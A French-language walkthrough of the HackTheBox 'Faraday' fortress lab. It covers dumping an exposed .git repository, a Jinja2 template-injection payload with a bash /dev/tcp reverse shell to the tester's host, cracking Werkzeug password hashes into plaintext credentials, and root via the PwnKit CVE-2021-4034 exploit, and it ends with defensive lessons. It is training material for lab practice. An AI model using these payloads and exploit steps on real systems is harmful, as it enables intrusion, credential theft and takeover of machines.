HackTheBox Writeup

Faraday

Faraday - Fortress HackTheBox

Vue d'Ensemble

Faraday est un Fortress HackTheBox axé sur l'exploitation d'applications web avec plusieurs étapes d'escalade de privilèges. Ce challenge comprend :

  • Exploitation Git (.git exposed)
  • Server-Side Template Injection (SSTI)
  • Analyse forensique de logs
  • Cassage de hash
  • Exploitation de CVE (PwnKit)

Drapeaux obtenus :

  1. FARADAY{ehlo_@nd_w3lcom3!}
  2. FARADAY{7x7_1s_n0t_@lw4ys_49}
  3. FARADAY{@cc3ss_10gz_c4n_b3_use3fu111}
  4. FARADAY{C_1s-0ld-Bu7_n0t-0bs0|3te}
  5. FARADAY{__1s_pR1nTf_Tur1ng_c0mPl3t3?__}

Phase 1 : Reconnaissance

Scan Nmap

┌──(alesio㉿Alesio)-[~/Faraday]
└─$ nmap -p- -T4 -A 10.13.37.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-23 05:04 CET
[...]
PORT      STATE    SERVICE         VERSION
22/tcp    open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp    open     http            nginx 1.13.12
| http-git:
|   10.13.37.14:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository
|_    Last commit message: Add app logic & requirements.txt
8888/tcp  open     sun-answerbook?
| fingerprint-strings:
|   NULL:
|     Welcome to FaradaySEC stats!!!
|_    Username:

Ports ouverts :

  • 22/tcp : SSH (OpenSSH 8.2p1)
  • 80/tcp : HTTP avec dépôt .git exposé (nginx 1.13.12)
  • 8888/tcp : Service personnalisé "FaradaySEC stats"

Analyse du Port 8888

Test de connexion avec netcat :

┌──(alesio㉿Alesio)-[~]
└─$ nc 10.13.37.14 8888 -n -v
(UNKNOWN) [10.13.37.14] 8888 (?) open
Welcome to FaradaySEC stats!!!
Username: admin
Password: test
access denied!!!

Le service demande des credentials. Nous reviendrons dessus plus tard.


Phase 2 : Exploitation Web - Git Exposed

Énumération Web

┌──(alesio㉿Alesio)-[~/Faraday]
└─$ feroxbuster -C 400,404,503 --auto-tune -nEgBekr --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.13.37.14/

Résultats :
200      GET        1l        2w       23c http://10.13.37.14/.git/HEAD
200      GET        8l       20w      141c http://10.13.37.14/.git/config
200      GET       11l       40w     5560c http://10.13.37.14/.git/index
200      GET       82l      129w     1938c http://10.13.37.14/signup
200      GET       74l      125w     1847c http://10.13.37.14/login

Le dépôt .git est complètement exposé !

Extraction du Dépôt Git

Utilisation de GitTools :

┌──(alesio㉿Alesio)-[~/Faraday/GitTools]
└─$ ./Dumper/gitdumper.sh http://10.13.37.14/.git/ faraday
[...]
[+] Downloaded: objects/1e/544c6d3204684420c6dcc1b58a2fdc460121a7
[+] Downloaded: objects/15/9f5dc55fbb0e096c935e5c12a3e52d3c7107ad
[+] Downloaded: objects/ee/b5210f419f8b878826cde74c7990bc8b3d857a

Extraction des commits :

┌──(alesio㉿Alesio)-[~/Faraday/GitTools]
└─$ ./Extractor/extractor.sh faraday faraday-src
[...]
[+] Found commit: 159f5dc55fbb0e096c935e5c12a3e52d3c7107ad
[+] Found commit: eeb5210f419f8b878826cde74c7990bc8b3d857a
[+] Found commit: 1e544c6d3204684420c6dcc1b58a2fdc460121a7

Analyse du Code Source

Fichier app.py (extrait important) :

@app.route('/sendMessage', methods=['POST', 'GET'])
@login_required
def sendMessage():
    if request.method == "POST":
        if current_user.config and current_user.message:
            smtp = current_user.config[0]
            message = current_user.message[0]
            message.dest = request.form['dest']
            message.subject = request.form['subject']
            # VULNÉRABILITÉ SSTI ICI !
            message.body = "Subject: %s\r\n" % message.subject + render_template_string(
                template.replace('SERVER', message.server),
                message=request.form['body'],
                tinyflag=os.environ['TINYFLAG']
            )
            db.session.commit()
            try:
                server = smtplib.SMTP(host=smtp.host, port=smtp.port)
                if smtp.smtp_username != '':
                    server.login(smtp.smtp_username, smtp.smtp_password)
                server.sendmail('[email protected]', message.dest, message.body)
                server.quit()
            except:
                return render_template('bad-connection.html')
    return render_template('sender.html')

@app.route('/profile')
@login_required
def profile():
    name = request.args.get('name', '')
    if name:
        if not current_user.message:
            message = MessageModel(server=name, user_id=current_user.id)
            db.session.add(message)
            db.session.commit()
        else:
            current_user.message[0].server = name  # Contrôle utilisateur !
            db.session.commit()
        return redirect('/sendMessage')
    return render_template('base.html')

Vulnérabilité identifiée : SSTI (Server-Side Template Injection) via le paramètre name dans /profile.


Phase 3 : Premier Flag - SMTP Configuration

Configuration SMTP

L'application demande de configurer un serveur SMTP. Je configure un serveur SMTP local :

┌──(alesio㉿Alesio)-[~/Faraday]
└─$ sudo python -m smtpd -c DebuggingServer -n 0.0.0.0:25

Après configuration et envoi d'un message test :

---------- MESSAGE FOLLOWS ----------
b'Subject: qwerqwerqwer'
b'X-Peer: 10.13.37.14'
b''
b'An event was reported at JohnConnor:'
b'qwerqwerqwerqwerqwer'
b'Here is your gift FARADAY{ehlo_@nd_w3lcom3!}'
------------ END MESSAGE ------------

🚩 Flag 1 : FARADAY{ehlo_@nd_w3lcom3!}


Phase 4 : Server-Side Template Injection (SSTI)

Test de la Vulnérabilité

Test avec {{7*7}} :

  • URL : http://10.13.37.14/profile?name={{7*7}}
  • URL encodée : http://10.13.37.14/profile?name=%7b%7b%37%2a%37%7d%7d

Résultat dans l'email :

b'An event was reported at 7*7}}:'

Le filtre bloque {{ mais pas {%.

Exploitation SSTI avec Jinja2

D'après OnSecurity Blog, nous pouvons utiliser {% %} :

Test :

{% if 'chiv' == 'chiv' %} test {% endif %}

URL encodée : %7B%25%20if%20%27chiv%27%20%3D%3D%20%27chiv%27%20%25%7D%20test%20%7B%25%20endif%20%25%7D

Résultat :

b'An event was reported at  test :'

La SSTI fonctionne !

Reverse Shell

Payload final :

{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"')['read']() == 'chiv' %} a {% endif %}

URL encodée :

%7B%25%20if%20request%5B%27application%27%5D%5B%27__globals__%27%5D%5B%27__builtins__%27%5D%5B%27__import__%27%5D%28%27os%27%29%5B%27popen%27%5D%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F1234%200%3E%261%22%27%29%5B%27read%27%5D%28%29%20%3D%3D%20%27chiv%27%20%25%7D%20a%20%7B%25%20endif%20%25%7D

Listener :

┌──(alesio㉿Alesio)-[~]
└─$ pwncat-cs -lp 1234
[...]
[06:16:23] received connection from 10.13.37.14:58554
(remote) root@98aa0f47eb96:/app# ls
__pycache__  app.py  db  flag.txt  requirements.txt  static  templates  wsgi.py

(remote) root@98aa0f47eb96:/app# cat flag.txt
FARADAY{7x7_1s_n0t_@lw4ys_49}

🚩 Flag 2 : FARADAY{7x7_1s_n0t_@lw4ys_49}

Analyse de l'Environnement

(remote) root@98aa0f47eb96:/app# ls -la /
-rwxr-xr-x   1 root root    0 Jul 21  2021 .dockerenv

Nous sommes dans un conteneur Docker !


Phase 5 : Analyse de la Base de Données

Extraction de la DB SQLite

(remote) root@98aa0f47eb96:/app# ls db/
database.db

Téléchargement et analyse :

┌──(alesio㉿Alesio)-[~/Faraday/db]
└─$ sqlite3 ./database.db
sqlite> .tables
message_model  smtp_config    user_model

sqlite> select * from user_model;
1|[email protected]|administrator|sha256$GqgROghu45Dw4D8Z$5a7eee71208e1e3a9e3cc271ad0fd31fec133375587dc6ac1d29d26494c3a20f
2|[email protected]|octo|sha256$gqsmQ2210dEMufAk$98423cb07f845f263405de55edb3fa9eb09ada73219380600fc98c54cd700258
3|[email protected]|pasta|sha256$MsbGKnO1PaFa3jhV$6b166f7f0066a96e7565a81b8e27b979ca3702fdb1a80cef0a1382046ed5e023
4|[email protected]|root|sha256$L2eaiLgdT73AvPij$dc98c1e290b1ec3b9b8f417a553f2abd42b94694e2a62037e4f98d622c182337
[...]
9|[email protected]|somepass|sha256$BLRNe7yn1E6EuqoY$0268384d3fa660401f184ceffffe7b66c68db756083c18e8646d54da88ec7033
10|[email protected]|someuser|sha256$CqaFrRivHdmvZr4B$01311dd90fb273dad37204b978459dee69c7feb9fbbb19f403d53aeee14369a6

Cassage des Hash avec Werkzeug

L'application utilise Python 3.6 et Werkzeug pour le hashing. Script de cassage :

from werkzeug.security import generate_password_hash, check_password_hash

with open('hashes') as fin:
    hashes = fin.read().splitlines()

with open('/usr/share/wordlists/rockyou.txt', errors='ignore') as fin:
    for password in fin:
        password = password.strip()
        for hash in hashes:
            if check_password_hash(hash, password):
                print(f"{hash} - {password}")

Exécution avec Python 3.6 :

└─$ /home/alesio/.pyenv/versions/3.6.15/bin/python3.6 match_password.py
pepe|sha256$9NzZrF4OtO9r0nFx$... - sarmiento
somepass|sha256$BLRNe7yn1E6EuqoY$... - somepass
someuser|sha256$CqaFrRivHdmvZr4B$... - somepass
pasta|sha256$MsbGKnO1PaFa3jhV$... - antihacker
administrator|sha256$GqgROghu45Dw4D8Z$... - ihatepasta
octo|sha256$gqsmQ2210dEMufAk$... - octopass

Credentials obtenus :

  • pasta:antihacker
  • administrator:ihatepasta
  • octo:octopass

Phase 6 : Accès SSH

Connexion SSH

┌──(alesio㉿Alesio)-[~/Faraday]
└─$ ssh [email protected]
[email protected]'s password: antihacker
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
┌──(alesio㉿Alesio)-[~/Faraday]
└─$ ssh [email protected]
[email protected]'s password: ihatepasta
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

Phase 7 : Flag 3 - Analyse de Logs Apache

Script d'Analyse

En tant qu'administrator, je trouve un script d'analyse de logs :

administrator@erlenmeyer:/tmp$ cat script.py
import re
import urllib.parse

with open('access.log') as fin:
    for line in fin:
        line = line.strip()
        if not 'update.php' in line:
            continue

        # URL-decode:
        line = urllib.parse.unquote(line)

        # We are interested in the "))!=109" part:
        mo = re.search(r'\)\)!=(\d+)', line)
        if mo:
            decimal_value = int(mo.group(1))
            print(chr(decimal_value), end='')

Exécution :

administrator@erlenmeyer:/tmp$ cp /var/log/apache2/access.log .
administrator@erlenmeyer:/tmp$ python3 script.py
[... output SQLite database ...]
10|python|FARADAY{@cc3ss_10gz_c4n_b3_use3fu111}

🚩 Flag 3 : FARADAY{@cc3ss_10gz_c4n_b3_use3fu111}

Analyse : Les logs contenaient des requêtes SQL Injection encodées en URL avec un pattern spécifique permettant d'extraire des caractères un par un.


Phase 8 : Flag 4 - Service TCP sur Port 8888

Analyse Binaire

administrator@erlenmeyer:~$ ls -la
-rwxr-xr-- 1 root root  22824 Jul 21  2021 tcp-server

administrator@erlenmeyer:~$ ps aux | grep tcp-server
root  921  0.0  0.1 680148  6776 ?  S  Dec21  0:00 tcp-server 8888 H=

Analyse avec Ghidra :

local_1288 = "access granted!!!\n";
sVar3 = strlen("access granted!!!\n");
write(local_12bc, local_1288, sVar3);
iVar2 = strcmp(local_1298, "pasta");
if (iVar2 == 0) {
    send_flag((char *)local_1290, local_12bc);
}

Le binaire vérifie si l'utilisateur est pasta !

Connexion avec Pasta

┌──(alesio㉿Alesio)-[~/Faraday]
└─$ nc 10.13.37.14 8888 -n -v
(UNKNOWN) [10.13.37.14] 8888 (?) open
Welcome to FaradaySEC stats!!!
Username: pasta
Password: antihacker
access granted!!!
FARADAY{C_1s-0ld-Bu7_n0t-0bs0|3te}

🚩 Flag 4 : FARADAY{C_1s-0ld-Bu7_n0t-0bs0|3te}


Phase 9 : Escalade de Privilèges Root

Énumération avec LinPEAS

administrator@erlenmeyer:/tmp$ wget http://10.10.16.2/linpeas.sh
administrator@erlenmeyer:/tmp$ chmod +x linpeas.sh
administrator@erlenmeyer:/tmp$ ./linpeas.sh

CVE détectées :

[+] [CVE-2022-2586] nft_object UAF
[+] [CVE-2021-4034] PwnKit ✅ EXPLOITABLE
[+] [CVE-2021-3156] sudo Baron Samedit
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

Exploitation CVE-2021-4034 (PwnKit)

Téléchargement de l'exploit : CVE-2021-4034

administrator@erlenmeyer:/tmp/CVE$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.

administrator@erlenmeyer:/tmp/CVE$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root),1000(administrator)

# cd /root
# ls
access.log  chkrootkit.txt  exploitme  flag.txt  snap  web

# cat flag.txt
FARADAY{__1s_pR1nTf_Tur1ng_c0mPl3t3?__}

🚩 Flag 5 (Root) : FARADAY{__1s_pR1nTf_Tur1ng_c0mPl3t3?__}


Résumé des Flags

FlagDescriptionValeur
1Premier contact SMTPFARADAY{ehlo_@nd_w3lcom3!}
2SSTI - RCE DockerFARADAY{7x7_1s_n0t_@lw4ys_49}
3Analyse logs ApacheFARADAY{@cc3ss_10gz_c4n_b3_use3fu111}
4Service TCP pastaFARADAY{C_1s-0ld-Bu7_n0t-0bs0|3te}
5Root via PwnKitFARADAY{__1s_pR1nTf_Tur1ng_c0mPl3t3?__}

Compétences Développées

  1. Git Exploitation : Extraction de code source via .git exposé
  2. SSTI (Jinja2) : Contournement de filtres, RCE via template injection
  3. Analyse Forensique : Extraction de données depuis logs Apache
  4. Reverse Engineering : Analyse de binaire C avec Ghidra
  5. Cassage de Hash : Utilisation de Werkzeug pour vérifier des hash
  6. CVE Exploitation : PwnKit (CVE-2021-4034) pour escalade de privilèges
  7. Conteneurisation : Identification et analyse d'environnement Docker

Outils Utilisés

  • nmap : Reconnaissance
  • feroxbuster : Énumération web
  • GitTools : Extraction de dépôt Git
  • BurpSuite : Manipulation de requêtes HTTP
  • pwncat : Reverse shell interactif
  • SQLite : Analyse de base de données
  • Ghidra : Reverse engineering
  • LinPEAS : Énumération Linux
  • Python : Scripts personnalisés

Points Clés à Retenir

Sécurité Web

  • ⚠️ Ne jamais exposer .git : Utiliser .gitignore et configuration serveur
  • ⚠️ Toujours sanitiser les entrées utilisateur avant render_template_string()
  • ⚠️ Éviter les template strings dynamiques côté serveur

Sécurité Système

  • 🔒 Maintenir les systèmes à jour : PwnKit aurait été patché
  • 🔒 Principe du moindre privilège : Les binaires SUID doivent être minimaux
  • 🔒 Protection des logs : Ne pas stocker d'informations sensibles en clair

Forensique

  • 🔍 Les logs Apache peuvent contenir des artefacts d'attaque précieux
  • 🔍 Les bases de données SQLite sont facilement extractibles et analysables
  • 🔍 L'analyse de binaires révèle souvent des hardcoded credentials

Références